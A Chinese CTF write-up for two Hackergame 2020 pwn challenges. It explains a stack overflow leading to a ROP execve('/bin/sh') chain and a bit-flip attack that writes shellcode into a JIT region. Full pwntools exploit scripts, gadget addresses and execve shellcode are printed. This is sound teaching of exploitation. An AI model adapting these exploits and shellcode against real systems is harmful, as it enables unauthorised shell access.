-
-
[原创]Hackergame 2020 pwn writeup
-
2020-11-7 16:18 6174
-
前言
- 大赛地址: https://hack.lug.ustc.edu.cn/
- 官方 wp 地址: https://github.com/USTC-Hackergame/hackergame2020-writeups
生活在博弈树上
这道题目要求和 AI 下一个 3x3 的井字棋,AI 先手且使用了一个不败的算法,最好的结果就是平局,而只有获胜我们才能拿到 flag。
第一问
第一问非常直白,只要获胜即可拿到第一个 flag,查看代码可以知道控制是否获胜的 success 变量是一个局部变量,即这里的 v15:
接收输入的变量为 v12,它也是一个栈变量,长度为 128B:
其中,v15 位于 rbp-1,v12 位于 rbp-0x90,因此这里我们可以通过 v12 栈溢出写入到 v15 中,使其变为 1 即可,因此在我们下第一步棋的时候在合法输入后跟上 payload 即可,注意这里不能无脑的写 1,因为循环的判断条件 while (!success) 的实际代码如下:
1 2 3 4 5 | loc_402536: movzx eax, [rbp + var_1] xor eax, 1 test al, al jnz loc_402373 |
这里取出 1B 进行异或判断,如果这 1B 不是 0x01 而是 0xFF,则会无法正常通过 test 判断,因此这里我们选择的 payload 为 0x01 的序列,例如:
1 | payload = b '(2,1)' + p8( 0x01 ) * ( 0x90 - 0x01 ) |
第二问
第二问要求 get shell,这道题目开启了 NX 但木有使用 Stack Canary,所以我们可以使用 ROP 方式完成调用 execve("/bin/sh", 0, 0),这里在 x64 下 execve 对应的调用号为 59,因此需要满足以下条件:
1 2 3 4 | rax = 59 rdi = ptr - > / bin / sh rsi = 0 rdx = 0 |
一般而言对于动态链接 libc 的程序,非常容易找到这些 gadget 以及 /bin/sh 字符串,但这道题目的 binary 静态链接了 libc,在这种情况下我们能找到的 gadget 只有如下这些:
1 2 3 4 5 | g_pop_rax_ret = 0x000000000043e52c g_pop_rdi_ret = 0x00000000004017b6 g_pop_rsi_ret = 0x0000000000407228 g_pop_rdx_ret = 0x000000000043dbb5 g_syscall = 0x0000000000402bf4 |
这些能够完成一个 syscall 的调用,但却无法提供一个指向 /bin/sh 的指针,这就要求我们在 input 时在 payload 中预留一个 /bin/sh,再让 rdi 种存储它的地址,这里有两种玩法,第一种是先给任意寄存器写一个堆地址,再用 mov qword ptr 将 /bin/sh 写入到这个堆地址,最后就能 happy 的使用了,这种解法可以见官方 writeup。 我当时费解了竟然没有想到这种简单办法,而是选择了控制 rbp 去重入一次程序,精确控制写入的地址。
我最后采取的办法是控制 rbp,我们知道栈上的寻址都是直接基于 rbp 的,在函数最后执行 leave 操作时会 pop rbp,因此我们可以将期望的 rbp 写到栈上,然后将返回地址覆盖成程序接收输入前的地址,实现一个 rbp 可控的重入,这次我们就可以基于 hardcode 的 rbp 确定 /bin/sh 的地址了。
这里我选择的重入点为输入前的 0x4023F0:
对于 rbp,本来想选择一个栈上地址,但不知道为什么 remote 一直 crash,最后选择了一个堆地址 0x4a9000:
payload 为:
1 | payload = b '(2,1)' + p8( 0x01 ) * ( 0x98 - 5 - 8 ) + p64( 0x4a9000 ) + p64( 0x4023F0 ) |
其中 0x4a9000 正好覆盖到栈上的 rbp,0x4023F0 则覆盖道返回地址,这么一番操作之后,函数 leave 后 rbp = 0x4a9000 并跳转到 0x4023F0 再次接收用户输入。这里的关键在于第二轮 rbp = 0x4a9000,input 变量是基于 rbp 寻址的,所以会写入到 rbp - 0x90 对应的地址:
随后在函数退出时,又会执行 leave,将当前的 rbp 赋值到 rsp 以恢复栈帧,使得 rsp 恰好指向了我们的 payload:
1 | input = b '(2,2)' + p8( 0x01 ) * ( 0x98 - 5 - 8 ) + payload |
那么 payload 的开头我们如果放置 /bin/sh,则 rsp 恰好指向 /bin/sh,也就是 rbp 恰好指向 /bin/sh,即 0x4a9000 即为 /bin/sh 的地址。接下来就可以按照 ROP 的套路构造如下的调用链,gadget 可以使用 Ropper 直接在 binary 中扫描:
1 2 3 4 5 6 7 8 | pop rax ret pop rdi ret pop rsi ret pop rdx ret |
其中 rax 的值为 59(execve 的 syscall number),rdi 的值为 0x4a9000(/bin/sh 地址),其他的均为 0,我们按照这个规则构造 payload:
1 2 3 4 5 6 | payload = b '/bin/sh\x00' payload + = p64(g_pop_rax_ret) + p64( 59 ) pyaload + = p64(g_pop_rdi_ret) + p64( 0x4a9000 ) payload + = p64(g_pop_rsi_ret) + p64( 0 ) payload + = p64(g_pop_rdx_ret) + p64( 0 ) payload + = p64(g_syscall) |
当第二次进入 leave 时,rsp 指向了 payload 的开头,随后函数 ret,第一个 gadget 地址 g_pop_rax_ret 被弹出,执行:
1 2 | pop rax ret |
第一次 pop 弹出的是 payload + 8 的 59,随后的 ret 则弹出下一个 gadget,以此类推,最后即可 get shell。完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | from pwn import * import sys rbp = 0x4a9000 target_addr = rbp is_remote = True if not is_remote: p = process( './tictactoe' ) else : p = remote( '202.38.93.111' , 10141 ) if is_remote: print (p.recvuntil( ':' )) p.sendline( 'your token' ) # first round, change rbp # gadgets #0x00000000004017b6: pop rdi; ret; #0x0000000000407228: pop rsi; ret; #0x000000000043e52c: pop rax; ret; #0x000000000043dbb5: pop rdx; ret; #0x0000000000402bf4: syscall; g_pop_rdi_ret = 0x00000000004017b6 g_pop_rsi_ret = 0x0000000000407228 g_pop_rax_ret = 0x000000000043e52c g_pop_rdx_ret = 0x000000000043dbb5 g_syscall = 0x0000000000402bf4 g_restart = 0x4023F0 # first round print ( 'first round: change rbp' ) payload = b '(2,1)' + p8( 0x01 ) * ( 0x98 - 5 - 8 ) + p64(rbp) + p64(g_restart) print (p.recvuntil( ":" )) p.sendline(payload) print (p.recvuntil( 'flag:' )) print (p.recvuntil( ':' )) print ( '[Main] round 1 finished' ) rop_payload = p64(g_pop_rax_ret) + p64( 59 ) + p64(g_pop_rdi_ret) + p64(target_addr) + p64(g_pop_rsi_ret) + p64( 0 ) + p64(g_pop_rdx_ret) + p64( 0 ) rop_payload + = p64(g_syscall) payload = b '(2,2)' + p8( 0x01 ) * ( 0x98 - 5 - 8 ) + b '/bin/sh\x00' + rop_payload p.sendline(payload) print (p.recvuntil( 'flag:' )) print (p.recvline()) print (p.recvline()) p.interactive() |
超精准的宇宙射线模拟器
这道题明面上允许我们翻转任意地址内容的一位,随后调用 exit 退出,为了 get shell,我们需要多次翻转某个地址成为 shellcode 或者指向 one_gadget,然后想办法跳转到此完成 get shell。
1 2 3 4 5 6 7 | ubuntu@ubuntu:~ / ctf / hackergame2020$ checksec bitflip [ * ] '/home/ubuntu/ctf/hackergame2020/bitflip' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x400000 ) |
由于开启了 NX,因此第一个想法是利用 one_gadget,先翻转出 one_gadget 的地址再想办法跳转过去,遗憾的是经过我一顿操作无论如何也满足不了几个 gadget 的约束条件(而且是恰好不满足,看起来是有意为之)。接下来就再试试 shellcode,通过阅读反汇编内容不难知道 bitflip 种包含了一个 JIT 区域:
即从 _init_proc
~ _init_proc + 0x1000
都是 JIT 区域,即 0x401000 ~ 0x402000,通过 vmmap 也可以验证这一点:
那么我们只要在这段区域内翻转出 shellcode,然后跳过来执行即可实现 get shell,接下来我们面临两个问题:
- 如何实现多次翻转?
- 如何跳转到 JIT 区域?
实现多次翻转
我们来看主程序代码:
搞一波就会被 exit,而且翻转逻辑位于 while 外部,所以我们只能翻转 exit 的地址让它跳回去,这里的 exit 是一个外部符号,需要通过二次跳转实现调用,这里的二跳第一次对应的是 stub helper 用来绑定真实的 exit 地址并完成调用,第二次就是 exit 的真实地址了:
可以看到 exit 第一次绑定的间接地址是 0x401070,我们要将它翻转为 main 中的一个可用地址,经过尝试可知 0x401170 是一个不错的选择,它恰好能让程序返回到 while 1 当中从而多次接收输入,因此我们要翻转的是指向 0x401070 的 0x404038 的第 8 位,而程序只允许我们翻转 0 ~ 7 位,所以我们转化为翻转 0x404039 的第 0 位,即输入为:
1 | 0x404039 0 |
此时可以看到我们可以多次翻转地址了,下一步就是选择合适的 JIT 区域了,注意我们只能选择可以跳转过去的区域,这里我们可利用的也就只有 exit 了,再次翻转 exit 的间接跳转地址,让它指向 JIT 区域,目前的值是 0x401170,而 JIT 区域的范围是 0x401000 ~ 0x402000,我们可以选择翻转 0x404039 的第 3 位让 exit 指向 0x401970,那么 JIT 区域的位置也就确定了是 0x401970。
0x401970 是全 0 的区域,我们只需要按照 x64 shellcode 将其翻转即可,shellcode 为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | 0000000000400080 <_start>: 400080 : 50 push % rax 400081 : 48 31 d2 xor % rdx, % rdx 400084 : 48 31 f6 xor % rsi, % rsi 400087 : 48 bb 2f 62 69 6e 2f movabs $ 0x68732f2f6e69622f , % rbx 40008e : 2f 73 68 400091 : 53 push % rbx 400092 : 54 push % rsp 400093 : 5f pop % rdi 400094 : b0 3b mov $ 0x3b , % al 400096 : 0f 05 syscall ###################### # 24 Bytes Shellcode # ###################### \x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05 |
由于我们不是以字符串的形式传递 shellcode 的,不需要避免字符串被 0 截断,可以将 /bin//sh 改为 /bin/sh\x00 (因为我遇到了 /bin//sh 无法正确执行 syscall 的问题,不知道为啥),即 shellcode bytes 为:
1 | shellcode_bytes = [ 0x50 , 0x48 , 0x31 , 0xd2 , 0x48 , 0x31 , 0xf6 , 0x48 , 0xbb , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f , 0x73 , 0x68 , 0x00 , 0x53 , 0x54 , 0x5f , 0xb0 , 0x3b , 0x0f , 0x05 , 0xeb , 0xfe ] |
将这些内容通过翻转写入到 0x401970 开始的地址,然后在完全翻转完成后再翻转一次 0x404039 的第 3 位即可跳转过来完成 get shell。
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | from pwn import * def patch(addr, locs): for loc in locs: print ( 'patch 0x%x with flip %d' % (addr, loc)) p.sendline( '0x%x %d' % (addr, loc)) p.recvuntil( 'flip?' ) is_remote = True if is_remote: p = remote( '202.38.93.111' , 10231 ) print (p.recvuntil( ':' )) p.sendline( 'your token' ) else : p = process( './bitflip' ) print (p.recvuntil( 'flip?' )) patch( 0x404039 , [ 0 ]) start_addr = 0x401970 shellcode_bytes = [ 0x50 , 0x48 , 0x31 , 0xd2 , 0x48 , 0x31 , 0xf6 , 0x48 , 0xbb , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f , 0x73 , 0x68 , 0x00 , 0x53 , 0x54 , 0x5f , 0xb0 , 0x3b , 0x0f , 0x05 , 0xeb , 0xfe ] for i in range ( len (shellcode_bytes)): cur_byte = 0x00 dst_byte = shellcode_bytes[i] flip_bytes = [] for i in range ( 8 ): cur_bit = cur_byte & ( 0x1 << i) dst_bit = dst_byte & ( 0x1 << i) if cur_bit ! = dst_bit: flip_bytes.append(i) print ( "for addr 0x%x" % start_addr, flip_bytes) patch(start_addr, flip_bytes) start_addr + = 1 p.sendline( '0x404039 3' ) p.interactive() |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界